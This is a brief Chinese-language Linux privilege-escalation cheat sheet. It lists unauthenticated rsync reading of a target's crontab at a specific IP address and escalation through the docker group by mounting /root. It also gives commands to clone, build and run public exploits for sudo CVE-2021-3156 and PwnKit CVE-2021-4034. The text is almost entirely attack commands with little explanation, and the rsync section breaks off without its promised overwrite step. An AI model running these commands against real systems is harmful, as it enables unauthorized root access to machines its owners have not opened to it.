linux提权-RSYNC未授权访问覆盖
一.RSYNC未授权访问覆盖提权
rsync rsync://39.101.162.36:873/src/etc/crontab ./，读取目标定时任务
cat crontab 查看定时任务
读取：
二.docker组用户提权
需要用户在docker组
docker run -v /root:/mnt -it alpine
原理：-v将容器外部的目录/root挂载到容器内部/mnt,使用-it参数进入容器shell
三.SUDO(CVE-2021-3156)
SUDO:1.8.2-1.8.31p2
SUDO:1.9.0-1.9.5P1
判断:sudoedit -s /
usage报错则未有漏洞
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich <target_number>
dpkg -l policykit-1
四.2021-4034
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034.sh
